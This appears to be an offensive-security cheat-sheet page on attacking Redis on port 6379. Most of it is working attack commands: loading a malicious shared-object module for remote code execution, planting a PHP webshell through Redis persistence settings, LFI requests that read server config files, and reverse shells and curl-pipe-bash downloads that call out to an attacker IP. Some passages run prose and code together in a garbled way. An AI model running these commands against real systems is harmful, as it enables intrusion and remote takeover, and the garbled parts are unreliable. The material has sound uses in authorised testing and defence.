6379 - Redis
Redis is an open-source, in-memory key-value data store used for high-performance caching, message brokering, and real-time analytics. It supports a variety of data structures like strings, hashes, lists, sets, and sorted sets, and operates entirely in memory for speed, with optional persistence to disk. By default, Redis listens on TCP port 6379 and has no authentication or encryption unless explicitly configured, which often makes it a target during red team operations. The default configuration file is located at /etc/redis/redis.conf.
Usage
redis-cli -u redis://target:port
> INFO
> ACL WHOAMI # List current context
> ACL LIST # List user's ACL
> CONFIG GET DIR # List on-disk persistence directories
> CONFIG SET DIR /tmp # Change directory
> SLAVEOF 10.10.10.10 8080 # Point replication to a malicious serverUnauthenticated Root RCE
In Redis 4.x and 5.x instances the ability to load shared object (.so) modules at runtime can leveraged to gain RCE. Exploitation requires two conditions to be met:
Privileged Access to Redis → The attacker must be able to issue privileged Redis commands such as
MODULE LOAD. This is possible if the Redis instance is exposed to the internet without authentication or the attacker has acquired valid credentials to an authenticated instance. In addition, Redis must not restrict module loading; unless explicitly disabled, this capability is broadly accessible in insecure deployments.Writable Location on Target Filesystem → The attacker must be able to place a malicious
.sofile on the target machine. Two main techniques can be used:Abuse Redis’s persistence settings: using
CONFIG SET dirandCONFIG SET dbfilename, combined withSAVE, an attacker can write arbitrary files to locations such as/tmp/.Upload externally: if another service (e.g., FTP) exposes a writable path, the attacker can upload the
.sofile and instruct Redis to load it by its absolute path.
Once the malicious module is in place, Redis will load it and execute the attacker's code within the server's process space, effectively achieving RCE. For either case, a .so file must be created. This can be done via the original PoC or its modified more modern version:
$ git clone https://github.com/CSpanias/redis-module-rce && cd redis-module-rce && make
<SNIP>
gcc -Wall -fPIC -O2 -std=gnu99 -Imodule -shared -o module.so module/module.c
$ cd redis-module-rce
$ ls -l module.so
-rwxr-xr-x 1 x7331 x7331 38704 Aug 1 14:29 module.so
$ file module.so
module.so: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, BuildID[sha1]=c35119dc82e22bb135fb85215b9c0f40c98edde4, not strippedThis PoC can be used to leverage the Redis settings:
./redis-rce.py --rhost redis-instance --lhost 192.168.45.170If write access to the target host is already obtained, i.e., via FTP, the .so file can be uploaded and then loaded into Redis:
# Upload the .so file to the target host via FTP
$ ftp ftp@redis-target
ftp> cd pub
ftp> put module.so
ftp>exit
# Connect to the Redis instance
$ redis-cli -h redis-target
redis-target:6379> MODULE LOAD /var/ftp/pub/module.so # Load the module
OK
redis-target:6379> MODULE LIST # Confirm that the module is loaded
1) 1) "name"
2) "system" # The function of interest
3) "ver"
4) (integer) 1
redis-target:6379> system.exec "id" # System command execution
redis-target:6379> system.rev 192.168.45.170 6379 # Reverse shellAuthenticated RCE
The apache configuration file (/etc/apache2/sites-enabled/000-default.conf) can be used to find the webroot and the Redis service configuration (/etc/systemd/system/redis.service) can be used to find writable paths:
# Find the webroot (e.g. via LFI)
$ curl http://wp-instance/wp-content/plugins/site-editor/editor/extensions/pagebuilder/includes/ajax_shortcode_pattern.php?ajax_path=/etc/apache2/sites-enabled/000-default.conf
DocumentRoot /var/www/html
$ curl http://wp-instance/wp-content/plugins/site-editor/editor/extensions/pagebuilder/includes/ajax_shortcode_pattern.php?ajax_path=/etc/systemd/system/redis.service
ReadWriteDirectories=-/etc/redis
ReadWriteDirectories=-/opt/redis-filesCreate a webshell to test RCE:
$ redis-cli -h wp-instance -a Passw0rd123!
wp-instance:6379> config set dir /opt/redis-files
OK
wp-instance:6379> config set dbfilename test.php
OK
wp-instance:6379> set test "<?php system('id'); ?>"
OK
wp-instance:6379> save
OKThe contents of the file will be in RDB format so we can write it to the a file and run strings:
$ curl -s http://wp-instance/wp-content/plugins/site-editor/editor/extensions/pagebuilder/includes/ajax_shortcode_pattern.php?ajax_path=/opt/redis-files/test.php -o test.php
$ file test.php
test.php: Redis RDB file, version 0009
$ strings test.php
<SNIP>
uid=1000(bob) gid=1000(bob) groups=1000(bob)#!/bin/bash
/bin/bash -i >& /dev/tcp/192.168.45.170/9002 0>&1wp-instance:6379> config set dir /opt/redis-files
OK
wp-instance:6379> config set dbfilename test.php
OK
wp-instance:6379> set test "<?php system('curl 192.168.45.170/shell.sh | bash'); ?>"
OK# Trigger the revshell
$ curl http://wp-instance/wp-content/plugins/site-editor/editor/extensions/pagebuilder/includes/ajax_shortcode_pattern.php?ajax_path=/opt/redis-files/test.phpLast updated
Was this helpful?